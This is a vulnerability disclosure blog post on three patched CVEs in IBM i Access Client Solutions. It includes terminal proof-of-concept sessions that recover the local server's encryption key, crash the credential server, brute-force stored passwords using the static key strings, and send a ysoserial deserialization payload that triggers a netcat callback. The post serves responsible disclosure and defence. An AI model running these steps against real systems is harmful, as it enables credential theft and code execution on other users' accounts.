IBM i Access Client Solutions vulnerabilities
Michał Majchrowicz and Maksymilian Kubiak from the AFINE Team have discovered multiple vulnerabilities in IBM i Access Client Solutions software related to connecting AS400 servers. Chaining those vulnerabilities could allow remote attackers to access client and server machines. Following responsible disclosure, we contacted the vendor (IBM), and presented the vulnerability details on December 8, 2023.
In this blog post, we discuss details and provide proof of concept exploits for all three vulnerabilities:
- Remote code execution via insecure deserialization (CVE-2023-45185),
- Broken access control in the temporary credential server (CVE-2023-45184),
- Weak password storage (CVE-2023-45182).
These issues were fixed in version 1.1.9.4 or later of IBM i Access Client Solutions.
Local server broken access control
IBM i Access Client Solutions used a separate local server for storing temporary password encryption keys, which runs on a random TCP6 port. The application retrieved this temporary encryption key without any access control.
The local server can be easily found using the netstat
command:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
We can confirm details about this local server using the ps
command:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
We can get the temporary password encryption key from the local server started by the user mmajchrowicz using the get_key.py
script from the mkubiak account (Python script can be found here):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./get_key.py 34307
IBM AS400 Secret Key Recovery Tool v0.2 by Michal Majchrowicz AFINE Team
Received data len: 288
Received data in hex format: b'aced00057372001c636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79000000000000000102000449000b6d5f636f6e646974696f6e4c00056d5f6578637400154c6a6176612f6c616e672f5468726f7761626c653b4c000e6d5f657874656e646564446174617400124c6a6176612f6c616e672f537472696e673b4c000b6d5f7265706c79436f64657400284c636f6d2f69626d2f696163636573732f626173652f4c6d5265706c79245265706c79436f64653b787000000000707400087a6d2f2f69637a2f7e720026636f6d2e69626d2e696163636573732e626173652e4c6d5265706c79245265706c79436f646500000000000000001200007872000e6a6176612e6c616e672e456e756d0000000000000000120000'
Received data in ascii format: b'\xac\xed\x00\x05sr\x00\x1ccom.ibm.iaccess.base.LmReply\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x04I\x00\x0bm_conditionL\x00\x05m_exct\x00\x15Ljava/lang/Throwable;L\x00\x0em_extendedDatat\x00\x12Ljava/lang/String;L\x00\x0bm_replyCodet\x00(Lcom/ibm/iaccess/base/LmReply$ReplyCode;xp\x00\x00\x00\x00pt\x00\x08zm//icz/~r\x00&com.ibm.iaccess.base.LmReply$ReplyCode\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00xr\x00\x0ejava.lang.Enum\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00'
Secret key: zm//icz/
We can kill the local server started by the mmajchrowicz user using the kill_server.py
script from the mkubiak account (the script can be found here):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ./kill_server.py 34307
IBM AS400 Access Client Credentials Server DoS Tool v0.2 by Michal Majchrowicz AFINE Team
Error: [Errno 104] Connection reset by peer
Credentials server seems to be dead :)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep 34307
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
This problem was caused by a lack of request source access control.
Weak password encryption
IBM i Access Client Solutions used the AES algorithm for storing user passwords. However, 16 bytes encryption key is the combination of a static string (Thanatos) and random characters from a string, which consists of another static string (Behemoth) combined with username, user’s home folder, OS (for example Linux) combined with the current directory where the application was started. As a result, half of the encryption key is static (string Thanatos), whereas the second half is very limited. This makes it very easy for an attacker to brute force passwords, even on a single CPU core.
Here is an example of password decryption of mmajchrowicz user using the as400_password_bruteforce_tool.java
script from the mkubiak account (the script can be found here):
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt
IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team
Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47
Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19
Found good pass: Thanatosaun/Lcmo
Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74
Decrypted system password: Pentest
This problem was caused by using weak password encryption.
Remote code execution via insecure deserialization
IBM i Access Client Solutions used insecure deserialization for password storage and obtaining a decryption key for password encryption. This could be used by a local or remote attacker to execute code.
The local server can be easily found using the netstat
command:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ netstat -nltp | grep java
tcp6 0 0 :::34307 :::* LISTEN 3225094/java off (0.00/0/0)
We can confirm details about this local server using the ps
command:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ ps aux | grep java
mmajchr+ 3224938 6.8 0.9 13305316 301392 pts/6 Sl+ 12:30 0:17 java -jar ./acsbundle_1.9.new.jar
mmajchr+ 3225094 0.3 0.2 11512420 79692 pts/6 Sl+ 12:30 0:00 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -Djava.class.path=/tmp/ACS.lm13910263510749358977.jar -Dvisualvm.display.name=ACS Daemon -Dcom.ibm.tools.attach.displayName=ACS Daemon com.ibm.iaccess.base.LmHybridServerImpl
mkubiak 3238934 0.0 0.0 6464 1992 pts/12 R+ 12:44 0:00 grep --color=auto java
We can achieve code execution by the user mmajchrowicz using the ysoserial
payload from the mkubiak account:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ id
uid=1012(mkubiak) gid=1012(mkubiak) groups=1012(mkubiak),27(sudo)
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java -jar ysoserial.jar JRMPClient '127.0.0.1:9191' > jrmp.bin
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ (sleep 3; cat jrmp.bin) | nat -6 ::1 34307=
In the second terminal, we will receive a connection when the service executes the payload:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ nc -lvnp 9191
listening on [any] 9191 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38012
JRMIK
This problem was caused by an insecure deserialization of network packets and user data.
Timeline
- Vulnerabilities reported to vendor: 22.09.2023
- New fixed 1.1.9.4 version released: 08.12.2023
- Public disclosure: 15.12.2023
References
- https://www.ibm.com/support/pages/node/7091942
- https://github.com/afine-com/CVE-2023-45185
- https://github.com/afine-com/CVE-2023-45184
- https://github.com/afine-com/CVE-2023-45182
- https://nvd.nist.gov/vuln/detail/CVE-2023-45185
- https://nvd.nist.gov/vuln/detail/CVE-2023-45184
- https://nvd.nist.gov/vuln/detail/CVE-2023-45182
- https://github.com/frohoff/ysoserial